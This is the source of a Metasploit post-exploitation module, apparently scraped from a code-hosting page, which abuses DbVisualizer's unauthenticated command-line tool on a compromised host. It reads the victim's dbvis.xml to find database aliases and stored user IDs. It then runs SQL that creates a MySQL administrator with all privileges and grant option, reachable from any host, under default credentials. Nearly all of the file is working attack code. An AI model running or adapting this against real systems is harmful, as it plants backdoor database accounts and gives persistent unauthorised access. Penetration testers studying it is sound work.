Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/dbvis_add_db_admin.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Manage DbVisualizer Add Db Admin',14'Description' => %q{15Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases16(With GUI). The remote database can be accessed from the command line without the need17to authenticate, which can be abused to create an administrator in the database with the18proper database permissions. Note: This module currently only supports MySQL.19},20'License' => MSF_LICENSE,21'Author' => [ 'David Bloom' ], # Twitter: @philophobia7822'References' => [23['URL', 'http://youtu.be/0LCLRVHX1vA']24],25'Platform' => %w[linux win],26'SessionTypes' => [ 'meterpreter' ],27'Compat' => {28'Meterpreter' => {29'Commands' => %w[30stdapi_fs_stat31stdapi_sys_config_getenv32]33}34}35)36)3738register_options(39[40OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),41OptString.new('DBUSERNAME', [true, 'The user you want to add to the remote database', 'msf']),42OptString.new('DBPASSWORD', [true, 'User password to set', 'msfRocks'])43]44)45end4647def run48db_type = exist_and_supported49unless db_type.blank?50dbvis = find_dbviscmd51unless dbvis.blank?52sql = get_sql(db_type)53errors = dbvis_query(dbvis, sql)54if errors == true55print_error('No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ')56else57print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")58end59end60end61end6263# Check if the alias exist and if database is supported by this script64def exist_and_supported65case session.platform66when 'linux'67user = session.shell_command('whoami')68print_status("Current user is #{user}")69if (user =~ /root/)70user_base = '/root/'71else72user_base = "/home/#{user}/"73end74dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"75when 'windows'76user_profile = session.sys.config.getenv('USERPROFILE')77dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"78end7980unless file?(dbvis_file)81# File not found, we next try with the old config path82print_status("File not found: #{dbvis_file}")83print_status('This could be an older version of dbvis, trying old path')8485case session.platform86when 'linux'87dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"88when 'windows'89dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"90end91unless file?(dbvis_file)92print_error("File not found: #{dbvis_file}")93return94end9596old_version = true97end9899print_status("Reading : #{dbvis_file}")100raw_xml = ''101begin102raw_xml = read_file(dbvis_file)103rescue EOFError104# If there's nothing in the file, we hit EOFError105print_error("Nothing read from file: #{dbvis_file}, file may be empty")106return107end108109db_found = false110alias_found = false111db_type = nil112db_type_ok = false113114# fetch config file115raw_xml.each_line do |line|116if line =~ /<Database id=/117db_found = true118elsif line =~ %r{</Database>}119db_found = false120end121122next unless db_found == true123124# checkthe alias125if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))126alias_found = true127print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")128end129130if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found131print_good("Username for this connection : #{::Regexp.last_match(1)}")132end133134# check the type135next unless (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found136137db_type = ::Regexp.last_match(1)138db_type_ok = check_db_type(db_type)139if db_type_ok140print_good("Database #{db_type} is supported ")141else142print_error("Database #{db_type} is not supported (yet)")143db_type = nil144end145alias_found = false146end147if db_type.blank?148print_error('Database alias not found in dbvis.xml')149end150return db_type # That is empty if DB is not supported151end152153# Find path to dbviscmd.sh|bat154def find_dbviscmd155case session.platform156when 'linux'157dbvis = session.shell_command('locate dbviscmd.sh').chomp158if dbvis.chomp == ''159print_error('dbviscmd.sh not found')160return nil161else162print_good("Dbviscmd found : #{dbvis}")163end164when 'windows'165# Find program files166progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')167progfiles_x86 = progfiles_env['ProgramFiles(X86)']168if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)169program_files = progfiles_x86 # x64170else171program_files = progfiles_env['ProgramFiles'] # x86172end173dirs = []174session.fs.dir.foreach(program_files) do |d|175dirs << d176end177dbvis_home_dir = nil178# Browse program content to find a possible dbvis home179dirs.each do |d|180if (d =~ /DbVisualizer[\S+\s+]+/i)181dbvis_home_dir = d182end183end184if dbvis_home_dir.blank?185print_error('Dbvis home not found, maybe uninstalled ?')186return nil187end188dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"189unless file?(dbvis)190print_error('dbviscmd.bat not found')191return nil192end193print_good("Dbviscmd found : #{dbvis}")194end195return dbvis196end197198# Query execution method199def dbvis_query(dbvis, sql)200error = false201resp = ''202if file?(dbvis) == true203f = session.fs.file.stat(dbvis)204if (f.uid == Process.euid) || Process.groups.include?(f.gid)205print_status('Trying to execute evil sql, it can take time ...')206args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""207dbvis = "\"#{dbvis}\""208cmd = "#{dbvis} #{args}"209resp = cmd_exec(cmd)210vprint_line211vprint_status(resp.to_s)212if resp =~ /denied|failed/i213error = true214end215else216print_error("User doesn't have enough rights to execute dbviscmd, aborting")217end218else219print_error("#{dbvis} is not a file")220end221return error222end223224# Database dependent part225226# Check if db type is supported by this script227def check_db_type(type)228return type.to_s =~ /mysql/i229end230231# Build proper sql232def get_sql(db_type)233if db_type =~ /mysql/i234sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"235sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"236237sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"238sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;"239return sql240end241return nil242end243end244245246